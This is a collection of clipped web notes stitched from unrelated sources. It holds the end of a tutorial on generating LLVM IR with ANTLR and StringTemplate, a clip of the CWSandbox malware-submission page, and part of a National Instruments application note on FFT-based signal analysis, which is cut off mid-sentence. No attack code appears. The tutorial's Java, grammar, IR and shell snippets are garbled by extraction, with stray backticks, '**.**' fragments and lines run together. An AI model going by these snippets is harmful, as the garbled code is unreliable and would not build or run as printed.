zeroinitializer``define ``void` `@f``() {``; init arg(s):``; ``int` `x;``%x =
alloca i32``; x=``2``;``%r2 = add i32 ``2``, ``0``store i32 %r2, i32* %x``;
a[x] = ``99``;``%r4 = add i32 ``99``, ``0``%r3 = load i32* %x``;
array_ptr.reg=``5``%r5 = bitcast [``10` `x i32]* ``@a` `to i32*``%r6 =
getelementptr i32* %r5, i32 %r3``store i32 %r4, i32* %r6``; x = a[``2``];``%r7
= add i32 ``2``, ``0``; array_ptr.reg=``9``%r9 = bitcast [``10` `x i32]* ``@a`
`to i32*``%r10 = getelementptr i32* %r9, i32 %r7``%r8 = load i32* %r10``store
i32 %r8, i32* %x``; printf(%d\n, x);``%r11 = getelementptr [``4` `x i8]*
``@s1``, i32 ``0``, i32 ``0``%r12 = load i32* %x``call i32 (i8*, ..**.**)*
``@printf``(i8* %r11, i32 %r12)``ret ``void``}`  
---  
Ok, it's time to look at the sample solution**.**

## A Strategy for using ANTLR + StringTemplate + LLVM****

Translating a high-level programming language down to LLVM's SSA IR means
recognizing the various subphrases of an input sentence and emitting IR
instructions**.** When combined in the correct order, the instructions
together implement the intended meaning of the input sentence**.** This
solution shows you how to combine ANTLR and StringTemplate to generate IR that
LLVM can compile down to machine code**.**

The basic strategy is to build an AST from the input using a parser and then
walk it twice: once to build a simple table and again to emit IR
instructions**.** Here is the critical path in the main program that shows the
complete process

`// CREATE LEXER/PARSER THAT CREATES AST FROM INPUT``CLexer lexer = ``new`
`CLexer(``new` `ANTLRInputStream(input));``TokenRewriteStream tokens = ``new`
`TokenRewriteStream(lexer);``CParser parser = ``new`
`CParser(tokens);``parser.setTreeAdaptor(cTreeAdaptor);``CParser.translation_unit_return
ret = parser.translation_unit();``CommonTree t =
(CommonTree)ret.getTree();``System.out.println(``"; "``+t.toStringTree());``//
MAKE SYM TAB``SymbolTable symtab = ``new` `SymbolTable();``// LOAD TEMPLATES
(via classpath)``ClassLoader cl =
CC**.**``class``.getClassLoader();``InputStream in =
cl.getResourceAsStream(templatesFilename);``Reader rd = ``new`
`InputStreamReader(in);``StringTemplateGroup templates = ``new`
`StringTemplateGroup(rd);``rd.close();``CommonTreeNodeStream nodes = ``new`
`CommonTreeNodeStream(cTreeAdaptor, t);``nodes.setTokenStream(tokens);``//
DEFINE/RESOLVE SYMBOLS``DefRef def = ``new` `DefRef(nodes, symtab); ``// use
custom constructor``def.downup(t); ``// trigger symtab actions upon certain
subtrees``//System.out.println("globals: "+symtab.globals);``// GENERATE
CODE``nodes.reset();``Gen walker = ``new` `Gen(nodes,
symtab);``walker.setTemplateLib(templates);``Gen.translation_unit_return ret2
= walker.translation_unit();``// EMIT IR``// uncomment next line to learn
which template emits what
output``//templates.emitDebugStartStopStrings(true);``String output =
ret2.getTemplate().toString();``System.out.println(output);`  
---  
### Building the ASTs****

The C.g parser/lexer builds ASTs \(not parse trees, which contain the rules
that the parser used to match the input\) that look like this:

<img src='img/Temp2_4814.jpg' width='576' height='390' />

ANTLR's DOTTreeGenerator class generated that DOT \[7\]-based tree from
following input:

`int` `g(``int` `x, ``int` `y) { ``return` `x+y; }``void` `f() {
printf(``"%d\n"``, g(``1``,``2``)); }`  
---  
In text form, the tree looks like:

`(FILE``(FUNCDEF g ``int` `(ARGS (ARG x ``int``) (ARG y ``int``))``(BLOCK
(``return` `(EXPR (+ x y))))``)``(FUNCDEF f ``void``(BLOCK (CALL printf (ELIST
%d\n (CALL g (ELIST ``1` `2``)))))``)``)`  
---  
### Building the symbol table****

Our next goal is track defined in the program and then to annotate the AST
with those symbol pointers**.** The DefRef.g tree filter specifies a number of
tree pattern / action pairs**.** For each subtree that matches the pattern,
ANTLR will execute the associated action \(it's like AWK for trees\)**.**
There are two special rules that specify which rules to apply on the way down
in which to apply on the way back up:

`topdown``: enterBlock``| enterFunction``| varDeclaration``;``bottomup``:
exitBlock``| exitFunction``| idref``| call``;`  
---  
For example, as we enter code block subtrees on the way down, we want to push
a new scope on the scope stack**.** After we process the code block subtree,
we want to pop that scope off on the way back up:

`enterBlock``: BLOCK {currentScope = ``new` `LocalScope(currentScope);}``//
push scope``;``exitBlock``: BLOCK``{``// System.out.println("locals:
"+currentScope);``currentScope = currentScope.getEnclosingScope(); ``// pop
scope``}``;`  
---  
The top of the scope stack is the current scope, so when we see a variable
declaration subtree, we can simply define a VariableSymbol in that scope:

`varDeclaration ``// global, parameter, or local variable``:
^((VARDEF|EXTERNVAR|ARG) ID type_tree)``{``// System.out.println("line
"+$ID.getLine()+": def "+$ID.text+``// " type
"+$type_tree.type);``VariableSymbol vs = ``new`
`VariableSymbol($ID.text,$type_tree.type);``currentScope.define(vs);``$ID.symbol
= vs; ``// annotate the tree with the symbol pointer``}``;`  
---  
We also to have to make sure that symbol references get resolved as well \(and
we annotate the AST\):

`call: ^(CALL ID **.**)``{``Symbol s =
currentScope.resolve($ID.text);``$ID.symbol = s;``// System.out.println("line
"+$ID.getLine()+": call "+s);``}``;`  
---  
The ANTLR tree pattern matchers are really handy because it lets us focus our
we care about, rather than having to build an entire visitor or tree
grammar**.**

I'll let you look at the source code for the symbol table itself because it's
fairly straightforward**.** To really learn how these things work, see Chapter
7 in Language Implementation Patterns \[8\]**.**

### IR generation****

The final step is to generate IR by walking the AST**.** Here, we need a full
visitor to walk the tree because we have something to do for each note**.**
We'll use a tree grammar, Gen.g, instead of building a visitor by hand**.**

As the final tree walking phase recognizes the input substructures represented
by the AST, it creates and combines StringTemplate \[9\] \(ST\) instances**.**
The template returned by the start rule of the tree grammar is the overall
file template**.** The tree grammar only cares about the name and attributes
we inject into the templates**.** It doesn't depend on what's inside the
templates. To change the output language, then, all we have to do is swap out
one group of templates for another**.** You'll see both llvm.stg and C.stg
template group files**.** **The same generator can emit LLVM IR or C code
depending on which templates we use**.**** Here's how the main program
launches the code generation phase:

`// GENERATE CODE``nodes.reset(); ``// rewind tree node stream to walk
again``Gen walker = ``new` `Gen(nodes,
symtab);``walker.setTemplateLib(templates); ``// set templates to
use**!**``walker.translation_unit(); ``// walk to create template hierarchy`  
---  
Notice as you read the source code in Gen**.** g, that there are no output
literals in the tree grammar**.** Everything dealing with the output language
is encapsulated in the templates**.** Conversely, there's no model logic in
the templates**.** This model-view separation is the linchpin behind building
retargetable code generators**.**

The highest level rule collects a list of the templates returned by the
declaration rule using the `+=` operator:

`translation_unit``: ^(FILE d+=external_declaration+)``-> file(decls={$d},
strings={strings})``;`  
---  
where `strings` is a global list of string constants needed by `printf`
references in the entire input**.**

The `output=template` grammar option makes each rule in the grammar
automatically return a template object**.** The `file` identifier after the
`->` operator indicates the name of a template to create**.** We inject
attributes via the assignments in `file`'s argument list**.** Our output file
needs the list of declarations and string constants:

`file(decls, strings) ::= <<``declare i32 ``@printf``(i8 *, ..**.**)``<strings:{s | ``@s``<i> = internal constant <string_type(s)> c``"<s>"``}; separator=``"\n"``>``<decls; separator=``"\n"``>``>>`  
---  
The `strings:{s ..**.**`\} notation is a map or lambda that applies the
template to each string s in `strings`**.**

Turning to the expression rules, now, let's make a convention: each template
contains code to compute a subexpression left in a particular IR register**.**
We'll inject the register number as attribute `reg`**.** Each expression rule
in the tree grammar returns the template generated for the associated
subtree**.** Other templates can access the register holding the result by
accessing the `reg` attribute**.** For example, to generate code for an
assignment statement we need to access the register containing the result of
the right hand side \(to store it into the identifier on the left hand
side\)**.** Here's the template:

`assign(id, rhs, descr) ::= <<``; <descr>``<rhs>``store i32 %r<rhs.reg>, i32*
%<id>``>>`  
---  
The `<rhs.reg>` template expression accesses the `reg` attribute of the
template associated with the right hand side**.** The tree grammar rule
matching assignments injects the template returned from rule `expression` into
the `assign` template instance:

`statement:``..**.**``| ^(``'='` `ID expression) -> assign(id={$ID.text},
rhs={$expression**.** st})``...`  
---  
Take a look at the C.stg template group**.** Using `-templates C.stg`
commandline option will emits C code instead of LLVM IR**.** To see how it
works, take a look at the sign to see how it differs from the IR version:

`assign(id, rhs, descr) ::= ``"<id> = <rhs>;"`  
---  
The "interface" \(template name and argument list\) is the same**.** Only the
template content differs.

### Building and testing****

To generate the compiler front-end, run ANTLR on the grammars and compile:

`$ java org.antlr.Tool * **.** g``$ javac *.java`  
---  
Then we can jump into the `tests` directory and run the test script**.**
Here's the output you should see:

`$ cd tests``$ **.** /go``########### call``3``###########
``if``4``########### fact``3628800``########### global_array``99``###########
printf``hello, world``99`  
---  
The test script runs each example through our main class `CC` to get the IR
\(**.** ll file\). Then it uses LLVM's tools to create the .s assembly
language file**.** From there, it compiles and links to the associated C main
program with gcc:

`for` `f in call ``if` `fact global_array printf``do``echo ``"###########"`
`$f``java -cp ``"..:$CLASSPATH"` `CC -templates llvm.stg $f**.** c > $f**.**
ll``llvm-as -f $f**.** ll``llc -f $f**.** bc``llvm-gcc -o $f $f``"_main**.**
c"` `$f**.** s``./$f``done`  
---  
## Source code****

See the attached llvm.tar**.** gz \[10\] or llvm.zip \[11\].

## Installing and configuring LLVM****

For this project, we need to get llvm-based GCC front ends available and also
the LLVM toolkit**.** First we download and then untar the packages. We also
run the configure command for LLVM and then compile it \(which takes quite a
while so I unleash seven of my eight processors on the build\):

_I couldn't get 2**.** 6 to build on 10.6**.** 2 OS X \(I'm sure it's my
fault\). It built ok on 10**.** 5.8 with this process though and I just copied
it over**.**_

`/usr/local # tar xfz llvm-gcc-``4**.** 2``-``2**.**
6``-i386-darwin9.tar.gz``/usr/local # export PATH=``"/usr/local/llvm-
gcc-4**.** 2-2.6-i386-darwin9/bin:$PATH"``/usr/local # tar xfz llvm-``2**.**
6``.tar.gz``/usr/local # cd llvm-``2**.** 6``/usr/local/llvm-``2**.** 6` `#
./configure --prefix=/usr/local/llvm-``2**.** 6``checking build system
type..**.** i686-apple-darwin10.``2**.** 0``checking host system type..**.**
i686-apple-darwin10**.**``2.0``..**.**``/usr/local/llvm-``2**.** 6` `# make
-j7 # build using ``7` `processors``..**.**``/usr/local/llvm-``2**.** 6` `#
export PATH=``"/usr/local/llvm-2**.** 6/Release/bin:$PATH"`  
---  
****

  1. http://pragprog.com/titles/tpdsl/language-implementation-patterns
  2. http://www.llvm.org/
  3. http://pragprog.com/titles/tpdsl/language-implementation-patterns
  4. http://www.llvm.org/docs/LangRef.html
  5. http://www.llvm.org/docs/LangRef.html
  6. http://www.llvm.org/docs/GetElementPtr.html
  7. http://www.graphviz.org/
  8. http://pragprog.com/titles/tpdsl/language-implementation-patterns
  9. http://www.stringtemplate.org/
  10. http://www.antlr.org/wiki/download/attachments/19202055/llvm.tar.gz?version=1&modificationDate=1259093793000
  11. http://www.antlr.org/wiki/download/attachments/19202055/llvm.zip?version=1&modificationDate=1259093793000

Verwandte Notizen

Deaktivieren?

  

# Submit a Threat to our CWSandbox

**Created:**| _11/10/2010 8:07:55 AM_  
---|---  
**Updated:**| _11/10/2010 8:08:03 AM_  
**Author:**| __  
**Tags:**| _security tools web Malware-analysis_  
  

# Submit a file to Sunbelt’s CWSandbox on-line malware analyzer

Enter your email address and click "Browse" to find the file you want to
analyze.  
To submit the sample, click "Submit sample for analysis".  
Within a short time, the analysis of the file you submitted will be sent to
your email.

# The Fundamentals of FFT-Based Signal Analysis and Measurement in LabVIEW and
LabWindows/CVI - Developer Zone - National Instruments

**Created:**| _1/3/2012 4:39:59 PM_  
---|---  
**Updated:**| _1/3/2012 4:39:59 PM_  
**Author:**| __  
**Tags:**| _DSP_  
  

# The Fundamentals of FFT-Based Signal Analysis and Measurement in LabVIEW and
LabWindows/CVI

317 ratings | **4.39** out of 5
<img src='img/Temp2_8018.gif' width='18' height='13' /> Print | <img src='img/Temp2_8022.gif' width='16' height='16' /> PDF
### Overview

\*\*NOTE: The content in this document might not reflect the most updated
information available. Refer to the _LabVIEW Help_ for the most updated
information.  
  
The Fast Fourier Transform \(FFT\) and the power spectrum are powerful tools
for analyzing and measuring signals from plug-in data acquisition \(DAQ\)
devices. For example, you can effectively acquire time-domain signals, measure
the frequency content, and convert the results to real-world units and
displays as shown on traditional benchtop spectrum and network analyzers. By
using plug-in DAQ devices, you can build a lower cost measurement system and
avoid the communication overhead of working with a stand-alone instrument.
Plus, you have the flexibility of configuring your measurement processing to
meet your needs.  
  
To perform FFT-based measurement, however, you must understand the fundamental
issues and computations involved. This application note serves the following
purposes.

  * Describes some of the basic signal analysis computations
  * Discusses antialiasing and acquisition front ends for FFT-based signal analysis
  * Explains how to use windows correctly
  * Explains some computations performed on the spectrum
  * Shows you how to use FFT-based functions for network measurement

The basic functions for FFT-based signal analysis are the FFT, the Power
Spectrum, and the Cross Power Spectrum. Using these functions as building
blocks, you can create additional measurement functions such as frequency
response, impulse response, coherence, amplitude spectrum, and phase spectrum.  
  
FFTs and the Power Spectrum are useful for measuring the frequency content of
stationary or transient signals. FFTs produce the average frequency content of
a signal over the entire time that the signal was acquired. For this reason,
you should use FFTs for stationary signal analysis or in cases where you need
only the average energy at each frequency line. To measure frequency
information that is changing over time, use joint time-frequency functions
such as the Gabor Spectrogram.  
  
This application note also describes other issues critical to FFT-based
measurement, such as the characteristics of the signal acquisition front end,
the necessity of using windows, the effect of using windows on the
measurement, and measuring noise versus discrete frequency components.  

### Table of Contents

  1. Basic Signal Analysis Computations
  2. Antialiasing and Acquisition Front Ends for FFT-Based Signal Analysis
  3. Using Windows Correctly
  4. Computations on the Spectrum
  5. FFT-Based Network Measurement
  6. Conclusion
  7. Related Links
  8. References

## Basic Signal Analysis Computations  

  
The basic computations for analyzing signals include converting from a two-
sided power spectrum to a single-sided power spectrum, adjusting frequency
resolution and graphing the spectrum, using the FFT, and converting power and
amplitude into logarithmic units.  
  
The power spectrum returns an array that contains the two-sided power spectrum
of a time-domain signal. The array values are proportional to the amplitude
squared of each frequency component making up the time-domain signal. A plot
of the two-sided power spectrum shows negative and positive frequency
components at a height  

<img src='img/Temp2_8021.gif' width='23' height='37' />

where A _k_ is the peak amplitude of the sinusoidal component at frequency
_k_. The DC component has a height of A02 where A0 is the amplitude of the DC
component in the signal.  
  
Figure 1 shows the power spectrum result from a time-domain signal that
consists of a 3 Vrms sine wave at 128 Hz, a 3 Vrms sine wave at 256 Hz, and a
DC component of 2 VDC. A 3 Vrms sine wave has a peak voltage of 3.0 <img
src='img/Temp2_8014.gif' width='24' height='14' /> or about 4.2426 V. The
power spectrum is computed from the basic FFT function. Refer to the
_Computations Using the FFT_ section later in this application note for an
example this formula.

<img src='img/Temp2_8011.gif' width='331' height='208' />  
**Figure 1.** Two-Sided Power Spectrum of Signal

Refer to the _Power Spectrum_ conceptual topic in the _LabVIEW Help_ \(linked
below\) for the most updated information about the power spectrum.

### Converting from a Two-Sided Power Spectrum to a Single-Sided Power
Spectrum

Most real-world frequency analysis instruments display only the positive half
of the frequency spectrum because the spectrum of a real-world signal is
symmetrical around DC. Thus, the negative frequency information is redundant.
The two-sided results from the analysis functions include the positive half of
the spectrum followed by the negative half of the spectrum, as shown in Figure
1.  
  
In a two-sided spectrum, half the energy is displayed at the positive
frequency, and half the energy is displayed at the negative frequency.
Therefore, to convert from a two-sided spectrum to a single-sided spectrum,
discard the second half of the array and multiply every point except for DC by
two.

<img src='img/Temp2_8023.gif' width='195' height='77' />

where S _AA_\(i\) is the two-sided power spectrum, G _AA_\(i\) is the single-
sided power spectrum, and _N_ is the length of the two-sided power spectrum.
The remainder of the two-sided power spectrum S _AA_

<img src='img/Temp2_8039.gif' width='102' height='41' />

The non-DC values in the single-sided spectrum are then at a height of

<img src='img/Temp2_8041.gif' width='22' height='44' />

This is equivalent to  

<img src='img/Temp2_8040.gif' width='37' height='45' />

  
where

<img src='img/Temp2_8010.gif' width='24' height='47' />

is the root mean square \(rms\) amplitude of the sinusoidal component at
frequency _k_. Thus, the units of a power spectrum are often referred to as
quantity squared rms, where quantity is the unit of the time-domain signal.
For example, the single-sided power spectrum of a voltage waveform is in volts
rms squared.  
  
Figure 2 shows the single-sided spectrum of the signal whose two-sided
spectrum Figure 1 shows.  

<img src='img/Temp2_8016.gif' width='330' height='208' />  
**Figure 2.** Single-Sided Power Spectrum of Signal in Figure 1

  
As you can see, the level of the non-DC frequency components are doubled
compared to those in Figure 1. In addition, the spectrum stops at half the
frequency of that in Figure 1.

Refer to the Power Spectrum topic in the LabVIEW Help \(linked below\) for the
most updated information about the power spectrum.

### Adjusting Frequency Resolution and Graphing the Spectrum

Figures 1 and 2 show power versus frequency for a time-domain signal. The
frequency range and resolution on the x-axis of a spectrum plot depend on the
sampling rate and the number of points acquired. The number of frequency
points or lines in Figure 2 equals

<img src='img/Temp2_8051.gif' width='17' height='39' />

where _N_ is the number of points in the acquired time-domain signal. The
first frequency line is at 0 Hz, that is, DC. The last frequency line is at

<img src='img/Temp2_8020.gif' width='42' height='42' />

where _F s_ is the frequency at which the acquired time-domain signal was
sampled. The frequency lines occur at <img src='img/Temp2_8013.gif' width='8'
height='9' />f intervals where

<img src='img/Temp2_8007.gif' width='54' height='41' />

Frequency lines also can be referred to as frequency bins or FFT bins because
you can think of an FFT as a set of parallel filters of bandwidth <img
src='img/Temp2_8013.gif' width='10' height='11' />f centered at each frequency
increment from

<img src='img/Temp2_8046.gif' width='76' height='42' />

Alternatively you can compute <img src='img/Temp2_8013.gif' width='8'
height='9' />f as

<img src='img/Temp2_8004.gif' width='69' height='41' />

where <img src='img/Temp2_8013.gif' width='8' height='9' />t is the sampling
period. Thus <img src='img/Temp2_8028.gif' width='32' height='11' /> is the
length of the time record that contains the acquired time-domain signal. The
signal in Figures 1 and 2 contains 1,024 points sampled at 1.024 kHz to yield
<img src='img/Temp2_8013.gif' width='10' height='11' />f = 1 Hz and a
frequency range from DC to 511 Hz.  
  
The computations for the frequency axis demonstrate that the sampling
frequency determines the frequency range or bandwidth of the spectrum and that
for a given sampling frequency, the number of points acquired in the time-
domain signal record determine the resolution frequency. To increase the
frequency resolution for a given frequency range, increase the number of
points acquired at the same sampling frequency. For example, acquiring 2,048
points at 1.024 kHz would have yielded <img src='img/Temp2_8013.gif' width='8'
height='9' />f = 0.5 Hz with frequency range 0 to 511.5 Hz. Alternatively, if
the sampling rate had been 10.24 kHz with 1,024 points, <img
src='img/Temp2_8013.gif' width='8' height='9' />f would have been 10 Hz with
frequency range from 0 to 5.11 kHz.

### Computations Using the FFT

The power spectrum shows power as the mean squared amplitude at each frequency
line but includes no phase information. Because the power spectrum loses phase
information, you may want to use the FFT to view both the frequency and the
phase information of a signal.  
  
The phase information the FFT yields is the phase relative to the start of the
time-domain signal. For this reason, you must trigger from the same point in
the signal to obtain consistent phase readings. A sine wave shows a phase of
-90° at the sine wave frequency. A cosine shows a 0° phase. In many cases,
your concern is the relative phases between components, or the phase
difference between two signals acquired simultaneously. You can view the phase
difference between two signals by using some of the advanced FFT functions.
Refer to the _FFT-Based Network Measurement_ section of this application note
for descriptions of these functions.  
  
The FFT returns a two-sided spectrum in complex form \(real and imaginary
parts\), which you must scale and convert to polar form to obtain magnitude
and phase. The frequency axis is identical to that of the two-sided power
spectrum. The amplitude of the FFT is related to the number of points in the
time-domain signal. Use the following equation to compute the amplitude and
phase versus frequency from the FFT.

<img src='img/Temp2_8001.gif' width='525' />  
\[+\] Enlarge Image

where the arctangent function here returns values of phase between -<img
src='img/Temp2_8005.gif' width='8' height='8' /> and +<img
src='img/Temp2_8005.gif' width='8' height='8' />, a full range of 2<img
src='img/Temp2_8005.gif' width='8' height='8' /> radians. Using the
rectangular to polar conversion function to convert the complex array

<img src='img/Temp2_8047.gif' width='47' height='41' />

to its magnitude \(r\) and phase \(ø\) is equivalent to using the preceding
formulas.  
  
The two-sided amplitude spectrum actually shows half the peak amplitude at the
positive and negative frequencies. To convert to the single-sided form,
multiply each frequency other than DC by two, and discard the second half of
the array. The units of the single-sided amplitude spectrum are then in
quantity peak and give the peak amplitude of each sinusoidal component making
up the time-domain signal. For the single-sided phase spectrum, discard the
second half of the array.  
  
To view the amplitude spectrum in volts \(or another quantity\) rms, divide
the non-DC components by the square root of two after converting the spectrum
to the single-sided form. Because the non-DC components were multiplied by two
to convert from two-sided to single-sided form, you can calculate the rms
amplitude spectrum directly from the two-sided amplitude spectrum by
multiplying the non-DC components by the square root of two and discarding the
second half of the array. The following equations show the entire computation
from a two-sided FFT to a single-sided amplitude spectrum.

<img src='img/Temp2_8035.gif' width='417' height='88' />

where _i_ is the frequency line number \(array index\) of the FFT of A.  
  
The magnitude in volts rms gives the rms voltage of each sinusoidal component
of the time-domain signal.  
  
To view the phase spectrum in degrees, use the following equation.

<img src='img/Temp2_8019.gif' width='261' height='41' />

The amplitude spectrum is closely related to the power spectrum. You can
compute the single-sided power spectrum by squaring the single-sided rms
amplitude spectrum. Conversely, you can compute the amplitude spectrum by
taking the square root of the power spectrum. The two-sided power spectrum is
actually computed from the FFT as follows.

<img src='img/Temp2_8033.gif' />

where FFT\*\(A\) denotes the complex conjugate of FFT\(A\). To form the
complex conjugate, the imaginary part of FFT\(A\) is negated.  
  
When using the FFT in LabVIEW and LabWindows/CVI, be aware that the speed of
the power spectrum and the FFT computation depend on the number of points
acquired. If _N_ can be factored into small prime numbers, LabVIEW and
LabWindows/CVI uses a highly efficient _Cooley-Tukey_ mixed-radix FFT
algorithm. Otherwise \(for large prime sizes\), LabVIEW uses other algorithms
to compute the discrete Fourier transform \(DFT\), and these methods often
take considerably longer. For example, the time required to compute a
1000-point and 1024-point FFT are nearly the same, but a 1023-point FFT may
take twice as long to compute. Typical benchtop instruments use FFTs of 1,024
and 2,048 points.  
  
So far, you have looked at display units of volts peak, volts rms, and volts
rms squared, which is equivalent to mean-square volts. In some spectrum
displays, the rms qualifier is dropped for Vrms, in which case V implies Vrms,
and V2 implies Vrms2, or mean-square volts.

Refer to the _Computing the Amplitude and Phase Spectrums_ topic in the
_LabVIEW Help_ \(linked below\) for the most updated information about using
the FFT for computations.

### Converting to Logarithmic Units

Most often, amplitude or power spectra are shown in the logarithmic unit
decibels \(dB\). Using this unit of measure, it is easy to view wide dynamic
ranges; that is, it is easy to see small signal components in the presence of
large ones. The decibel is a unit of ratio and is computed as follows.

<img src='img/Temp2_8029.gif' width='109' height='36' />

where P is the measured power and Pr is the reference power.  
  
Use the following equation to compute the ratio in decibels from amplitude
values.

<img src='img/Temp2_8017.gif' width='108' height='34' />

where A is the measured amplitude and Ar is the reference amplitude.  
  
When using amplitude or power as the amplitude-squared of the same signal, the
resulting decibel level is exactly the same. Multiplying the decibel ratio by
two is equivalent to having a squared ratio. Therefore, you obtain the same
decibel level and display regardless of whether you use the amplitude or power
spectrum.  
  
As shown in the preceding equations for power and amplitude, you must supply a
reference for a measure in decibels. This reference then corresponds to the 0
dB level. Several conventions are used. A common convention is to use the
reference 1 Vrms for amplitude or 1 Vrms squared for power, yielding a unit in
dBV or dBVrms. In this case, 1 Vrms corresponds to 0 dB. Another common form
of dB is dBm, which corresponds to a reference of 1 mW into a load of 50 <img
src='img/Temp2_8034.gif' width='11' height='9' /> for radio frequencies where
0 dB is 0.22 Vrms, or 600 <img src='img/Temp2_8034.gif' width='11' height='9'
/> for audio frequencies where 0 dB is 0.78 Vrms.

Refer to the _Converting to Logarithmic Units_ topic in the _LabVIEW Help_
\(linked below\) for the most updated information about converting to
logarithmic units.

## Antialiasing and Acquisition Front Ends for FFT-Based Signal Analysis  

  
FFT-based measurement requires digitization of a continuous signal. According
to the Nyquist criterion, the sampling frequency, F _s_ , must be at least
twice the maximum frequency component in the signal. If this criterion is
violated, a phenomenon known as aliasing occurs. Figure 3 shows an adequately
sampled signal and an undersampled signal. In the undersampled case, the
result is an aliased signal that appears to be at a lower frequency than the
actual signal.

<img src='img/Temp2_8009.gif' width='383' height='240' />  
**Figure 3.** Adequate and Inadequate Signal Sampling

  
When the Nyquist criterion is violated, frequency components above half the
sampling frequency appear as frequency components below half the sampling
frequency, resulting in an erroneous representation of the signal. For
example, a component at frequency

<img src='img/Temp2_8030.gif' width='62' height='44' />

appears as the frequency Fs \- f0.  
  
Figure 4 shows the alias frequencies that appear when the signal with real
components at 25, 70, 160, and 510 Hz is sampled at 100 Hz. Alias frequencies
appear at 10, 30, and 40 Hz.

<img src='img/Temp2_8002.gif' width='525' />  
\[+\] Enlarge Image  
**Figure 4.** Alias Frequencies Resulting from Sampling a Signal at 100 Hz
That Contains Frequency Components Greater than or Equal to 50 Hz

  
Before a signal is digitized, you can prevent aliasing by using antialiasing
filters to attenuate the frequency components at and above half the sampling
frequency to a level below the dynamic range of the analog-to-digital
converter \(ADC\). For example, if the digitizer has a full-scale range of 80
dB, frequency components at and above half the sampling frequency must be
attenuated to 80 dB below full scale.  
  
These higher frequency components, do not interfere with the measurement. If
you know that the frequency bandwidth of the signal being measured is lower
than half the sampling frequency, you can choose not to use an antialiasing
filter. Figure 5 shows the input frequency response of the National
Instruments PCI-4450 Family dynamic signal acquisition boards, which have
antialiasing filters. Note how an input signal at or above half the sampling
frequency is severely attenuated.

<img src='img/Temp2_8036.gif' width='493' height='318' />  
**Figure 5.** Bandwidth of PCI-4450 Family Input Versus Frequency, Normalized
to Sampling Rate

### Limitations of the Acquisition Front End

In addition to reducing frequency components greater than half the sampling
frequency, the acquisition front end you use introduces some bandwidth
limitations below half the sampling frequency. To eliminate signals at or
above half of the sampling rate to less than the measurement range,
antialiasing filters start to attenuate frequencies at some point below half
the sampling rate. Because these filters attenuate the highest frequency
portion of the spectrum, typically you want to limit the plot to the bandwidth
you consider valid for the measurement.  
  
For example, in the case of the PCI-4450 Family sample shown in Figure 5,
amplitude flatness is maintained to within ±0.1 dB, at up to 0.464 of the
sampling frequency to 20 kHz for all gain settings, +1 dB to 95 kHz, and then
the input gain starts to attenuate. The -3 dB point \(or half-power
bandwidth\) of the input occurs at 0.493 of the input spectrum. Therefore,
instead of showing the input spectrum all the way out to half the sampling
frequency, you may want to show only 0.464 of the input spectrum. To do this,
multiply the number of points acquired by 0.464, respectively, to compute the
number of frequency lines to display.  
  
The characteristics of the signal acquisition front end affect the
measurement. The National Instruments PCI-4450 Family dynamic signal
acquisition boards and the NI 4551 and NI 4552 dynamic signal analyzers are
excellent acquisition front ends for performing FFT-based signal analysis
measurements. These boards use delta-sigma modulation technology, which yields
excellent amplitude flatness, high-performance antialiasing filters, and wide
dynamic range as shown in Figure 5. The input channels are also simultaneously
sampled for good multichannel measurement performance.  
  
At a sampling frequency of 51.2 kHz, these boards can perform frequency
measurements in the range of DC to 23.75 kHz. Amplitude flatness is ±0.1 dB
maximum from DC to 23.75 kHz. Refer to the PCI-4451/4452/4453/4454 User Manual
for more information about these boards.

### Calculating the Measurement Bandwidth or Number of Lines for a Given
Sampling Frequency

The dynamic signal acquisition boards have antialiasing filters built into the
digitizing process. In addition, the cutoff filter frequency scales with the
sampling rate to meet the Nyquist criterion as shown in Figure 5. The fast
cutoff of the antialiasing filters on these boards means that the number of
useful frequency lines in a 1,024-point FFT-based spectrum is 475 lines for
±0.1 dB amplitude flatness.  
  
To calculate the measurement bandwidth for a given sampling frequency,
multiply the sampling frequency by 0.464 for the ±0.1 dB flatness. Also, the
larger the FFT, the larger the number of frequency lines. A 2,048-point FFT
yields twice the number of lines listed above. Contrast this with typical
benchtop instruments, which have 400 or 800 useful lines for a 1,024-point or
2,048-point FFT, respectively.

### Dynamic Range Specifications

The signal-to-noise ratio \(SNR\) of the PCI-4450 Family boards is 93 dB. SNR
is defined as

<img src='img/Temp2_8003.gif' width='133' height='56' />

where V _s_ and V _n_ are the rms amplitudes of the signal and noise,
respectively. A bandwidth is usually given for SNR. In this case, the
bandwidth is the frequency range of the board input, which is related to the
sampling rate as shown in Figure 5. The 93 dB SNR means that you can detect
the frequency components of a signal that is as small as 93 dB below the full-
scale range of the board. This is possible because the total input noise level
caused by the acquisition front end is 93 dB below the full-scale input range
of the board.  
  
If the signal you monitor is a narrowband signal \(that is, the signal energy
is concentrated in a narrow band of frequencies\), you are able to detect an
even lower level signal than -93 dB. This is possible because the noise energy
of the board is spread out over the entire input frequency range. Refer to the
_Computing Noise Level and Power Spectral Density_ section later in this
application note for more information about narrowband versus broadband
levels.  
  
The spurious-free dynamic range of the dynamic signal acquisition boards is 95
dB. Besides input noise, the acquisition front end may introduce spurious
frequencies into a measured spectrum because of harmonic or intermodulation
distortion, among other things. This 95 dB level indicates that any such
spurious frequencies are at least 95 dB below the full-scale input range of
the board.  
  
The signal-to-total-harmonic-distortion \(THD\)-plus-noise ratio, which
excludes intermodulation distortion, is 90 dB from 0 to 20 kHz. THD is a
measure of the amount of distortion introduced into a signal because of the
nonlinear behavior of the acquisition front end. This harmonic distortion
shows up as harmonic energy added to the spectrum for each of the discrete
frequency components present in the input signal.  
  
The wide dynamic range specifications of these boards is largely due to the
16-bit resolution ADCs. Figure 6 shows a typical spectrum plot of the PCI-4450
Family dynamic range with a full-scale 997 Hz signal applied. You can see that
the harmonics of the 997 Hz input signal, the noise floor, and any other
spurious frequencies are below 95 dB. In contrast, dynamic range
specifications for benchtop instruments typically range from 70 dB to 80 dB
using 12-bit and 13-bit ADC technology.

<img src='img/Temp2_8024.gif' width='489' height='254' />  
**Figure 6.** PCI-4450 Family Spectrum Plot with 997 Hz Input at Full Scale
\(Full Scale = 0 dB\) < /div > < /DIV >

See Also:  
PCI-4451/4452/4453/4454 User Manual

## Using Windows Correctly

As mentioned in the Introduction, using windows correctly is critical to FFT-
based measurement. This section describes the problem of spectral leakage, the
characteristics of windows, some strategies for choosing windows, and the
importance of scaling windows.

  

### Spectral Leakage

  
For an accurate spectral measurement, it is not sufficient to use proper
signal acquisition techniques to have a nicely scaled, single-sided spectrum.
You might encounter spectral leakage. Spectral leakage is the result of an
assumption in the FFT algorithm that the time record is exactly repeated
throughout all time and that signals contained in a time record are thus
periodic at intervals that correspond to the length of the time record. If the
